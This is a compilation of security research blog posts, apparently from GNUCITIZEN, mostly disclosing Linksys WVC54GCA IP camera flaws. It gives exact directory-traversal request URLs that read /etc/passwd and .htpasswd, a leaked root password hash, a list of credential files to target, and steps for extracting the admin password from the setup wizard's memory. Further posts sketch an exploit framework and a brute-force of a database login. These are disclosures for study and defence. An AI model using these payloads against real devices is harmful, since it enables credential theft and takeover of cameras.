Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.

1st directory traversal hole

It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):

/adm/file.cgi?next_file=%2fetc%2fpasswd

/adm/file.cgi?next_file=%2fetc/passwd

/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd

2nd directory traversal hole

In the case of the second directory traversal hole, the vulnerable parameter (this_file) is not filtered at all whatsoever. So hex-encoding special symbols is not required:

/adm/file.cgi?todo=pwnage&this_file=/etc/passwd

The following is the content of the Linux passwd file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening bin/busybox with any of the vulnerabilities previously discussed. I’m curious to know if the passwd file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:

root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh

Notice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.

Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I’m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.

Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it’s off by default. I haven’t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.

What can we do with these vulnerabilities?

Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:

• /etc/passwd : traditional-DES-format password file with no salt
• /usr/local/www/img/.htpasswd : HTTP credentials stored in cleartext
• /usr/local/www/adm/.htpasswd : contains same data as previous file
• /etc/system.conf : all camera settings stored in cleartext including admin password, wifi encryption key, etc …
• /usr/local/bin/thttpd.conf : web server config file confirming the daemon runs as root, which is the only system account present anyway
• /etc/init.d/rcS : here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out
• /etc/def_sys.conf : camera’s default settings
• /etc/system.conf : camera’s current settings
• /var/nc.log : network connections logs
• /etc/group
• /etc/inittab
• /proc/cpuinfo : processor details
• /proc/meminfo
• /proc/version : OS details
• /proc/uptime

Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven’t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I’d love to hear the details.

Testing Info

Directory traversal vuln #1 successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

Directory traversal vuln #2 successfully tested on:

• WVC54GCA
• V1.00R24 (latest available as on 23rd April 2009)

Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.

Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Privilege escalation via arbitrary file retrieval

The second vulnerability I’ll be releasing is an arbitrary(ish) file retrieval vulnerability. It’s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the admin account password.

The problem lies within the next_file parameter which is submitted to the main.cgi program. Although main.cgi does filter characters typically used in directory traversal sequences such as dots (.) and forward slashes (/), it seems that the developer didn’t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of .htpasswd a restricted user which only has permissions to access the video stream can access the credentials of the admin account and also the credentials of other restricted users (if applicable).

The only restriction that needs to be bypassed, is dots (.) symbols being filtered. i.e.: the following will not work and will result in a forbidden error:

/img/main.cgi?next_file=.htpasswd

But replacing the dot (.) symbol with its hexadecimal equivalent:

/img/main.cgi?next_file=%2ehtpasswd

Will result in the contents of .htpasswd being returned. i.e.:

admin:adminpassw0rd user1:pass1 user2:pass2

Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don’t need to authenticate). In this case, the admin user can click on the Users menu and tick the Only users in database option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:

Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.

Testing Info

Successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)

Please note that this vulnerability is different to BID 10476 which affected the /main.cgi program rather than /img/main.cgi.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

The model in particular is the WVC54GCA, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with.

I found the camera to be quite good functionalities-wise, although I’ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I’ve ultimately done after playing so much with it.

I’ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many de facto security principles that are usually (attempted to be) followed when designing other types of systems are not often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: who cares if my IP camera gets owned?

During the next days, I’ll be posting some vulnerabilities I’ve found. Some of them are fun and serious, while others you might find kind of boring.

Meet the target

You can learn a lot about the specs of a device by simply reading the product’s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways:

• CPU: Faraday FA526id(wb) rev 1 (v4l) according to /proc/cpuinfo
• OS: Linux version 2.4.19-pl1029 according to /proc/version plus Busybox (confirmed as the file /bin/busybox exists on the filesystem)
• HTTPD: thttpd 2.25b (extracted from banner returned on default html error pages and ‘Server:’ HTTP headers)
• Memory:30908 kB (32 MB?) according to /proc/meminfo
• Firmware Version: V1.00R22 and V1.00R24 (latest version available as on 16th April 2009)

It also comes with a telnet daemon (/usr/sbin/telnetd) but unfortunately for hackers out there, the daemon is disabled as the following line is commented out on /etc/init.d/rcS:

# ---- Start Telnet Server (debug) ---- #

#/usr/sbin/telnetd &

I have not yet managed to get a remote root shell by enabling the telnet daemon but have found some vulnerabilities which might help accomplishing this goal. I will be releasing these vulnerabilities in the next days. Please let me know if you know how to enable the telnet daemon on Linksys IP cameras! Ideally, I’d like to accomplish this without physically connecting to the camera or flashing the firmware.

Remote admin compromise by unauthenticated attackers due to wizard design error

I found this vulnerability while investigating CVE-2008-4390. I wanted to know if CVE-2008-4390 affected my camera, even though it was reported to affect a different Linksys IP camera firmware and model. The CVE entry states:

The Cisco Linksys WVC54GC wireless video camera before firmware 1.25 sends cleartext configuration data in response to a Setup Wizard remote-management command, which allows remote attackers to obtain sensitive information such as passwords by sniffing the network.

So I started trying to figure out if the WVC54GCA also discloses sensitive information when communicating with the wizard. According to the vendor, the issue has been fixed:

Solution: 2300 and 210 have encrypted data and have no such issue. To decode the data, an administrator username/password is a MUST.

At first sight, when capturing the traffic between the wizard and the cam, I couldn’t see the data traveling in human readable form. While trying to figure out how the data is sent over the network (i.e.: encoded/encrypted), I realized there was something seriously wrong with the handshake mechanism.

The following is a very generic (and possibly inaccurate) description of the handshake

1. Wizard (SetupWizard.exe) sends UDP request to 255.255.255.255:916
2. Camera responds back to 255.255.255.255 using the DCERPC protocol and presents itself with identity info such as the value of the ‘defname’ variable which looks like LKXXXXXX, where ‘X’ is a hex digit. This identity info is picked up by SetupWizard.exe. Some of this info such as MAC address, IP address and subnet mask is shown in the wizard.
3. From now on, SetupWizard.exe uses the camera’s ‘defname’ variable when talking to it, so that the camera knows what requests submitted to 255.255.255.255:916 it should respond to.

At this point the wizard “has discovered” the camera and the user can go through the setup procedure. For security reasons, the user needs to enter the admin username and password, before the setup process can start. Otherwise anyone could make changes to the camera without authenticating.

Now, here is the important bit. If you capture the network traffic while running SetupWizard.exe, you’ll notice that when the user is asked to enter the admin username and password after the camera is discovered, there are NO requests sent from the wizard to the camera in order to verify that the entered username/password combination is correct!

“How is this possible? What the heck is going on?!” I thought. I was terrified to confirm my worst fear: the wizard already “knows” the camera’s admin username and password at this point, thus there is no need to ask the camera again. Indeed, at this point – before the user enters the admin username and password that is – the camera’s credentials are already loaded into the memory of the SetupWizard.exe process. This is because the camera has previously transfered the admin credentials along with other configuration data!

In case I didn’t explain myself properly I’ll summarize the issue by saying that the camera transfers the admin username and password to the wizard before the user enters them.

The following steps demonstrate how an unauthenticated attacker can remotely obtain the camera’s admin username and password:

1. Download the setup wizard. You might need to download a different wizard if you want to test this vulnerability on a different Linksys IP camera model
2. Run SetupWizard.exe
3. Click on “Click Here to Start” / “Setup Camera” / “Next” (after accepting EULA) / “Next” (4 more times in total)
4. The discovery process is quite flaky, so if the wizard hasn’t found your camera yet, click on “Search Again” as many times as required until it works
5. You should now see your camera’s name under the “Camera List” column and also various configuration data under the “Status” column:
   
6. You now need to dump the process memory of SetupWizard.exe using your favorite tool:
   
7. Then open the memory dump file using your favorite hex editor
8. Now you can either search for “admin” and find the admin password after a few null bytes, or tell your hex editor to go to decimal position 75058 (“Address” / “Goto …” menu on XVI32). In my case the admin password would always fall within this position:
   
9. Have fun! (the most important step really)

It is somehow ironic that a free tool provided by the vendor of a product can be used as a “hacker” tool against their own product.

As far as I know, this vulnerability cannot be exploited over the Internet, since the camera only responds to wizards located in the same LAN. Never say never though, so if you find a way to exploit this vulnerability over the Internet, please contact us.

UPDATE: CPU and additional OS info added.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

The article is yet another proof that we are all in big trouble. Simply put, the technology will continue to develop and the majority of people wont be able to keep up. As long as the situation remains the same, people and corporations will get exploited regardless how tight their security is. It is inevitable. At the end of the day, it is all about people, not technology.

Social engineering skills has been a major part of the hacker’s toolkit for ages and the situation is unlikely to change. The humans are still the weakest link and that is something that can only be fixed through education and by continuously rising awareness.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

This post is merely a summary of my research work on how to build a better exploitation framework ala metasploit-style.

The Problem

Metasploit is great but there are three things that makes the framework sometimes inconvenient: it’s size, it’s dependency of the ruby platform and of course it’s speed. It will be great if for example we can take a single exploit (or a set of exploits) out of the framework and compile it into a standalone executable. On the advantage side, this type of solution will also allow us to ship the framework as a payload to already compromised systems and use it from there as a stepping stone for further propagation. It will also allows us to run exploits from compromised embedded devices as long as we can compile for their architecture, which is pretty cool.

Introduction

Back in the days when Metasploit was written in Perl, there were a few other frameworks trying to do similar things but in C and C++. A solution based on C or C++ is a lot more interesting as it allows us to compile standalone versions of the framework and use them as we wish. It simply makes the framework very good for embedding and also quite suitable for delivering it as a payload to the systems we would like to compromise.

Nowadays, a C and C++ solution is often doomed to failure. The reason for this is because when building a framework you can easily get into a situation where you need to solve a pretty complicated problem. Both C and C++ lack the dynamicism and the degree of expression available in languages such as perl, python and ruby and therefore, while they remain very suitable for low level stuff, they start to loose their grounds when it is needed to build something that is more abstract and high level.

Some Solutions

Keeping all of the above in mind I started putting words into practice. In the spirit of a zen monk, I started thinking which parts of the metasploit framework are most valuable to a penetration tester so that they can be branched out. As it happens, the obvious answer is: the exploits. The Auxiliary modules are great but they represent functionalities which are already available in other tools. So, the first idea was to take the exploits and payloads out and rewrite them into something that is more suitable.

I decided to see for myself if I can prototype a simple exploitation framework in C++ that all it should so is to implement several abstract interfaces for exploit development, a a class with common methods for payloads (empty of course) and of course a simple interface to run an exploit with a payload against a target. All of this was achieved in a hello world fashion exploiting a simple stack overflow on a proggie from the command line and of course without the need to circumvent any protection mechanisms in place.

Although I was pleased with the result of the prototype, I was not convinced that this is a good enough solution. Programming in C++ is fun, especially when you haven’t done it for a couple of years, but still not as practicle as I would like it to be. We can most certainly build a DSL on the top of C and C++ by using Preprocessor Directives but when you are developing an exploit you want to make the process as painless as possible and C directives are only making it worse when hunting for a bug in the exploit. Not to mention that compiling something every time you make a change is not cool at all.

Being a pythonist and knowing the python mantra inside out, I thought that it should be possible to write all of the exploits and payloads in python and convert them into C or C++ at later stage as long as I stick to using a minimal set of the language features which can be directly translated with regexes and some basic parsing. After all, python looks like an executable pseudo code. Luckily for me, such a solution already exists and it is called shedskin.

Now shedskin is a lot more than a simple python to C++ translator. Not only it can convert a python program to C++ source but it also implements all of python’s builtins and it has support for some of python’s most useful modules such as re and socket. On the top of that, it is trivial to implement additional modules to the shedskin framework in python. This is a product I will happily pay for!

Analysis

I played quite a lot with the shedskin compiler tweaking things as I go. Although the parser is pretty advanced there are some restrictions enforced on the language. All of them are nicely covered in the shedskin’s tutorial.

It was time to see if I do need the advanced python features for developing the exploits. I run through all Metasploit payloads and exploits and a pattern started to emerge. The majority of the exploits were pretty basic. They all came down to the following algorithm more or less:

1. Select an exploit
2. Pack a structure/payload that will be sent over a socket or will be dumped into a file
3. Send/Save the payload

Obviously, there is no need for python sugar to implement that.

The Design

I did quite a lot of work investigating the best approach to tackle the problem of creating a good enough exploitation framework and I came up with the following basic idea:

We start with the same basic building blocks as found in metasploit. We need abstract classes for Exploits and Shellcodes and also classes that implement them to define more functional classes such as those that needs to be implemented when writing remote exploits for example (socket stuff). We use the basic python capabilities keeping shedskin in mind. As I mentioned, shedskin is quite advanced so most of the functionalities can be implemented without even taking it into consideration at all.

That will provide the core of the framework. All of the exploits now can be written on the top of this. The exploits themselves should reuse as much as of the builtin methods as possible as that their portability will be guaranteed.

A layer above that, we write as much as python sugar as we want. We simply don’t care how we are going to write it because that part of the framework doesn’t have to be compiled.

In summary, we layer the whole thing like that:

• Layer 01. Core Exploit Development Classes implementing the most basic set of python features
• Layer 02. Exploits implementing the Core Exploit Development Classes
• Layer 03. Python sugar to glue it all together

Conclusion

So, it is possible to write a good and well-designed exploitation framework in python that allows exploits to be separated and compiled in standalone native executables. Not only that, but we do not sacrifice from the dynamicism of the python language as while the core will be written in basic python, the rest will be as dynamic as we want. Imho, this is all possible due to python’s mantra that there should be one– and preferably only one –obvious way to do it. It just makes it easier to write briliant tools such as shedskin.

I am very interested to hear your opinion and I am even more interested to get the opinion of the Metasploit team as they have a lot more experience in coding exploitation frameworks than me.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

There is no merit in discussing how this has been done and for what purposes but this incident is yet another proof that the attack landscape is rapidly changing and moving towards web enabled infrastructures and the client-side. Soon or later almost every website will be equipped with social capabilities (google’s own opensocial and friendconnect platforms) and than simple persistent XSS attacks will turn into quite nasty problems.

Time will tell!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5

Lately I’ve been dropping a lot bash scripts on public forums and of course on work related projects. Many people came back to me asking why I chose bash. Python or perl would have been better! While I agree that both python and perl are a lot more expressive, I disagree that tools in general should be written just to accommodate the needs of a particular framework. Tools are tools and they have their lifetime just like everything else. So should we bother?

Recently I had to communicate with a MSSQL server on a pentesting job. For that purpose I’ve downloaded sqsh. Unfortunately the tool failed with a linking error. So I decided to go and download the sources and compile. I did that but the build failed because my environment was lacking certain unusual environment variables the tool needed to build successfully. Alright, running out of time, I decided to check whether there are other tools for SQL server. I found dbishell which is a tool written in perl. Run the tool for Sybase backend but it complained that I am missing libraries. So I downloaded the dbi sybase perl libraries and installed them. I run the tool again but it failed with an error. It couldn’t display the error because I was lacking another perl library.

Ok, that was ridiculous and I desperately needed a solution. So I came up with something I do not normally do. I checked PHP’s sybase integration online and I found that it is relatively straightforward to communicate with MSSQL backends from PHP scripts. I wrote a simple script to bruteforce the login with several passwords I had at hand. Once I found the login, lucky me, I wrote another script, again in PHP, just to dump various information from the database such as other database users and their hashes. Lucky me!

The reason I am telling you this story is because I have an important message convey here: Tools are just Tools! If metasploit cannot exploit the vulnerability perhaps you can create something yourself. If nessus fails to detect a problem, perhaps there is another approach you should use to handle the situation. We often start a new framework or tool and suddenly decide that it should handle all situations. Well that is virtually impossible! The situation always change.

So, don’t stick to a single tool just because it works 80% of the time. And don’t waste time trying to make the tool work in the rest 20%. It is pointless, especially when you are dealing with frameworks. There are a lot more elegant solutions out there you can employ to solve your particular problem. These solutions may not be elegant and perhaps they are written in something as unconventional as brainfuck, but they are solutions nevertheless.

Remember, tools solve problems! If a tool cannot solve the problem it is no longer a tool. It is a useless blob!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Jerry Rice on Success
Time Blocking
0.5 is up for grabs
Websecurify 0.5RC1 Is Available for Download
What's New in Websecurify 0.5